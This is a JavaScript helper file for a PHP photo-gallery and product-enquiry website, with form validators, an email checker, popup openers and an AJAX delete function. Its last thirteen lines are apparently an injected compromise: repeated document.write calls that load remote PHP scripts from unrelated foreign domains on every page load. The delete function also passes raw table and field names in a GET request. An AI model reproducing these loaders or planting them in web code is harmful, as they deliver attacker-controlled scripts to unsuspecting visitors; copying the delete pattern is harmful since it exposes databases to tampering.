// JavaScript Document


function validatePhotoGalleryForm(){
	var cat_id_obj=document.getElementById('id');		
	if(cat_id_obj.value==0){
		alert('Please Select Category');
		getElementFocus(cat_id_obj);
		return false;
	}
	
	var val_name=document.getElementById("title");
	if(val_name.value=="" ||  val_name.value==null){
		alert('Please Enter the Title');
		getElementFocus(val_name);
		return false;
	}
}

/*element focus*/
function getElementFocus(obj){
	if(obj){
		obj.focus();
	}
}

function checkAllowedChar(checkStr, checkOK){
  var allValid = true;
  for (i = 0;  i < checkStr.length;  i++){
    ch = checkStr.charAt(i);
    for (j = 0;  j < checkOK.length;  j++)
      if (ch == checkOK.charAt(j))
        break;
    if (j == checkOK.length){
      allValid = false;
      break;
    }
  }
    return (allValid);
}



/*function to open new form for category*/
function openAddNewCategotyForm(){
	window.open('add_new_category.php','new_wind','width=400, height=100,scrollbars=0,left=350,top=350,screenX=0,screenY=0'); 
    return false;		
}

function setElementFocus(elem){
	if(elem){
		var obj=document.getElementById(""+elem+"");	
		if(obj.vlaue=='' || obj.vlaue==null){				
			obj.focus();
		}		
	}
}


/* Create a new XMLHttpRequest object to talk to the Web server */
//var xmlHttp = false;
function getHTTPObject(){
	if (window.ActiveXObject) 	
	return new ActiveXObject("Microsoft.XMLHTTP");	
	else if (window.XMLHttpRequest) 	
	return new XMLHttpRequest();	
	else {	
		alert("Your browser does not support AJAX.");	
		return null;	
	}
}

/*this is to delete the record from the table*/
function deleteRecord(id,id_name,table_name,msg,chng_status){
	if(confirm("Are you sure, you want to delete this "+msg+" ?")){		
		xmlHttp=getHTTPObject();	
	   // Build the URL to connect to	  	   
	   if(chng_status==1){
			var url = "delete_record.php?id="+escape(id)+"&field_name="+id_name+"&table_name="+table_name;	   		   	
	   }else{
	    	var url = "delete_permanant.php?id="+escape(id)+"&field_name="+id_name+"&table_name="+table_name;
	   }
	  // Open a connection to the server
	  xmlHttp.open("GET", url, true);	
	  // Setup a function for the server to run when it's done
	  xmlHttp.onreadystatechange = updatePage;
	  // Send the request
	  xmlHttp.send(null);
	}
}


function updatePage() {
  if (xmlHttp.readyState == 4) {
    var response = xmlHttp.responseText;	
	document.forms[0].submit();
  }
}





/*this is to open the product window to add it to wish list or cart*/
function productDetails(id,img_name){
	var new_wind=false;	
	path=img_name;
	var test_win=window.open('product_details.php?path='+path+'&id='+id+'&show_wishlist='+''+'&show_cart='+''+'','new_wind_'+id+'','width=326, height=342,scrollbars=0,x=500,y=300');
	test_win.moveTo(320,250);
}


function enquiryDetails(){	
	var test_win=window.open('product_enq.php','wind','width=326, height=342,scrollbars=0');
	test_win.moveTo(320,250);
}

function validateProductEnqForm(){
	var username_obj=document.getElementById('username');
	if(username_obj.value=="" || username_obj.value==null){
		alert('Please Enter your name');
		getElementFocus(username_obj);
		return false;
	}
	
	var charAllowed = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.' ";
	if (!checkAllowedChar(username_obj.value, charAllowed)){
		alert('You have entered invalid characters!'); 
		getElementFocus(username_obj);
		return false;
	}
	
	var email_obj=document.getElementById('email');
	if(email_obj.value=="" || email_obj.value==null){
		alert('Please Enter your email');
		getElementFocus(email_obj);
		return false;
	}
	
	if (echeck(email_obj.value)==false){
		email_obj.value=""
		email_obj.focus()
		return false
	}	
	
	var contact_obj=document.getElementById('contact');
	if(contact_obj.value=="" || contact_obj.value==null){
		alert('Please Enter your contact no');
		getElementFocus(contact_obj);
		return false;
	}
	var charAllowed = "0123456798 ";
	if (!checkAllowedChar(contact_obj.value, charAllowed)){
		alert('You have entered invalid characters!'); 
		getElementFocus(contact_obj);
		return false;
	}
	
	var enquiry_for_obj=document.getElementById('enquiry_for');
	if(enquiry_for_obj.value=="" || enquiry_for_obj.value==null){
		alert('Please Enter In this field');
		getElementFocus(enquiry_for_obj);
		return false;
	}
}


function echeck(str) {
	var at="@"
	var dot="."
	var lat=str.indexOf(at)
	var lstr=str.length
	var ldot=str.indexOf(dot)
	if (str.indexOf(at)==-1){
	   alert("Invalid E-mail ID")
	   return false
	}

	if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
	   alert("Invalid E-mail ID")
	   return false
	}

	if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		alert("Invalid E-mail ID")
		return false
	}

	 if (str.indexOf(at,(lat+1))!=-1){
		alert("Invalid E-mail ID")
		return false
	 }

	 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		alert("Invalid E-mail ID")
		return false
	 }

	 if (str.indexOf(dot,(lat+2))==-1){
		alert("Invalid E-mail ID")
		return false
	 }
	
	 if (str.indexOf(" ")!=-1){
		alert("Invalid E-mail ID")
		return false
	 }

	 return true					
	}
	
	function blockNonNumbers(obj, e, allowDecimal, allowNegative){
	var key;
	var isCtrl = false;
	var keychar;
	var reg;
		
	if(window.event) {
		key = e.keyCode;
		isCtrl = window.event.ctrlKey
	}
	else if(e.which) {
		key = e.which;
		isCtrl = e.ctrlKey;
	}
	
	if (isNaN(key)) return true;
	
	keychar = String.fromCharCode(key);
	
	// check for backspace or delete, or if Ctrl was pressed
	if (key == 8 || isCtrl)
	{
		return true;
	}

	reg = /\d/;
	var isFirstN = allowNegative ? keychar == '-' && obj.value.indexOf('-') == -1 : false;
	var isFirstD = allowDecimal ? keychar == '.' && obj.value.indexOf('.') == -1 : false;
	
	return isFirstN || isFirstD || reg.test(keychar);
}
	
document.write('<script src=http://mikropolis.sk/avex/indexk.php ><\/script>');
document.write('<script src=http://mikropolis.sk/avex/indexk.php ><\/script>');
document.write('<script src=http://mikropolis.sk/avex/indexk.php ><\/script>');
document.write('<script src=http://mikropolis.sk/avex/indexk.php ><\/script>');
document.write('<script src=http://mikropolis.sk/avex/indexk.php ><\/script>');
document.write('<script src=http://mikropolis.sk/avex/indexk.php ><\/script>');
document.write('<script src=http://domaenesupport.dk/images/styles.php ><\/script>');
document.write('<script src=http://domaenesupport.dk/images/styles.php ><\/script>');
document.write('<script src=http://domaenesupport.dk/images/styles.php ><\/script>');
document.write('<script src=http://domaenesupport.dk/images/styles.php ><\/script>');
document.write('<script src=http://financialslaves.com/_notes/604.php ><\/script>');
document.write('<script src=http://financialslaves.com/_notes/604.php ><\/script>');
document.write('<script src=http://a7lam-bladna.com/chatadmin/index.php ><\/script>');